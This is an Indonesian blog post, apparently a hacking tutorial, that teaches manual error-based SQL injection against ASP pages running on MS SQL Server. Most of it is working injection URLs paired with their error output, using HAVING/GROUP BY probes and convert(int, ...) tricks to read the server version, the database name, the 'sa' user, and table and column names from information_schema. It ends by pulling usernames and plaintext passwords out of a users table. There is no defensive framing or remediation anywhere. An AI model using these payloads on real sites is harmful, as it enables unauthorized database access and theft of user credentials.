Thursday

Manual SQL injection untuk *.asp

Sebernernya ini sama saja dengan metode SQL injection, tapi bedanya hanya dibahasa yang digunakan, kalo yang diatas biasa di pk untuk *.php dan kalo yang ini untuk *.asp..

example:
http://inject.web.id/sql.asp?injection=12'


kalo muncul pesan error kaya gini :


Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the   character string ''.
/news.asp, line 52


" berarti bisa kita lanjutkan, selain dari itu, coba2 ajah ok...hehehehe :p
lanjutkan dengan:

example:
http://inject.web.id/sql.asp?injection=12' HAVING 1=1--



error "

Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_id' is invalid in the select list because it is not contained in an aggreate function and there is no GROUP BY clause.



cari lagi table dan kolomnya

example:
http://inject.web.id/sql.asp?injection=12' GROUP BY news.news_id HAVING 1=1--



error "

Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_detail' is invalid in the select list because it is not contained in an aggreate function and there is no GROUP BY clause."


Error menunjukkan nama column yang ketiga adalah "news_detail"
Untuk mencari nama column yang seterusnya, lakukan seperti langkah selanjutnya dengan menambahkan urutan nama-nama column.
Jika pada akhirnya tidak muncul error, berarti sudah tidak ada lagi column yang di dalam table.

Selanjutnya kita akan menggunakan metode yang lain untuk memanfaatkan error MSSQL dengan command "convert".
Contoh command yang akan ditambahkan diakhir URL (setelah parameter id) adalah: +and+1=convert(int,perintah)--
contoh kita akan melihat versi server:

example:
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,@@version)--



Pesan error yang muncul:
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) Feb 9 2007 22:47:07 Copyright (c) 1988-2005       Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1) ' to data type int.
/page.asp, line 9



Dari error tersebut kita mengetahui versi Microsoft SQL dan OS-nya.

Untuk mencari nama databasenya

example:
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,db_name())--



Error yang dihasilkan:


Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'cwhdb' to data type int.
/page.asp, line 9



Berdasarkan error maka dapat diketahui bahwa nama database adalah "cwhdb"
Untuk melihat user yang sementara menggunakan database gunakan command user_name(). contoh:

example:
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,user_name())--



Error yang dihasilkan:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'sa' to data type int.
/showthread.asp, line 9



Error menunjukkan bahwa user adalah "sa"

Sekarang adalah bagaimana mencari nama table, nama column, dan isinya, dari table information_schema. Perintahnya: +and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))-- >>contoh:

example:
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))--



Error yang dihasilkan:


Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'threads' to data type int.
/page.asp, line 9



Dari query tersebut, dapat diketahui bahwa "threads" sebagai tipe data nvarchar dan tidak bisa diconvert ke data tipe int, maka menghasilkan error.
Dan dengan error tersebut, menunjukkan table yang pertama adalah table "threads".
Selanjutnya mencari table yang kedua. Dengan menambahkan perintah WHERE. contoh:

example:
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('threads')))--



/*Penjelasan perintah tersebut, yaitu kita akan mengambil informasi dari table information_schema dimana/dengan nama table tidak/bukan "threads". Atau dengan kata lain kita akan mencari table yang selain table "threads"*/

Maka akan muncul error:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'users' to data type int.
/page.asp, line 9



Error menunjukkan table yang kedua adalah "users". Untuk mencari table yang lain, hanya tambahkan nama table yang telah diketahui. contoh:

example:
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('threads','users')))--



Error yang muncul:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'forums' to data type int.
/page.asp, line 9



Yang berarti nama table yang ketiga adalah table "forums"
Namun jika error yang tampil seperti ini:


ADODB.Field error '800a0bcd' Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/page.asp, line 10



Maka menandakan bahwa semua table telah ditampilkan dan sudah tidak ada lagi table yang lain.

Selanjutnya mencari nama column dari table. Metodenya hampir sama dengan yang sebelumnya, yaitu masih mencari dari "information_schema" namun perintahnya dari "information_schema.tables" berubah menjadi "information_schema.columns" dan dari "table_name" berubah menjadi "column_name". contoh:

example:
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'))--



Menampilkan error:

Download source  Code
Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'uname' to data type int.
/showthread.asp, line 9



Dan berdasarkan error diketahui isi column pertama dari table "users" adalah column "uname".
Untuk mencari column yang lain gunakan perintah di akhir URL: and+column_name+not+in+('uname'). contoh:

example:

http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'+and+column_name+not+in+('uname')))--



Menghasilkan error:



Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'upass' to data type int.
/showthread.asp, line 9



Berdasarkan error, column yang kedua adalah column "upass" yang terdapat dari table "user".
Untuk mencari column yang lain, tambahkan nama column yang telah kita ketahui sebelumnya. contoh:

example:
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'+and+column_name+not+in+('uname','upass')))--



Muncul error:



Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'email' to data type int.
/showthread.asp, line 9



Berarti column yang ketiga adalah column "email".
Tetapi jika error yang dihasilkan adalah:

ADODB.Field error '800a0bcd' Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/page.asp, line 10



Itu menandakan bahwa sudah tidak ada lagi column yang lain.

Last step, adalah mencari isi dari column yang telah kita ketahui. Seperti ini:

example:
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+uname+from+users))--



Error yang muncul:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'admin' to data type int.
/page.asp, line 9



Berarti isi dari column "uname" yang berada di table "users" datanya adalah "admin".
Untuk mencari user yang lain, gunakan data yang telah kita ketahui. contoh:

example:
http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users+where+uname+not+in+('admin')))--



Jika error yang muncul:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'cwh' to data type int.
/page.asp, line 9



Berarti username yang lain adalah "cwh". Dan untuk mencari user yang berikutnya, tambahkan username yang telah diketahui. contoh:

example:
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+uname+from+users+where+uname+not+in+('admin','cwh')))--



Dan jika errornya:

ADODB.Field error '800a0bcd' Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/showthread.asp, line 10



Berarti hanya ada 2 user yaitu "admin" dan "cwh".

Dan untuk mencari passwordnya, perintahnya seperti:

example:
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+upass+from+users))--


Dan jika error yang ditampilkan adalah:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value '123' to data type int.
/page.asp, line 9



Maka isi dari data yang pertama di column "upass" adalah "123".
Dari hasil yang kita dapat diatas, isi data pertama dari column "uname" adalah "admin", dan isi data pertama dari column "upass" adalah "123".
Berarti usernamenya adalah "admin" dan passwordnya "123"
 --------------------------------------------------
visit my blog,.. http://x-bie.blogspot.com

Manual SQL injection untuk *.asp Rating: 4.5 Diposkan Oleh: Miftah Budi

0 komentar:

Post a Comment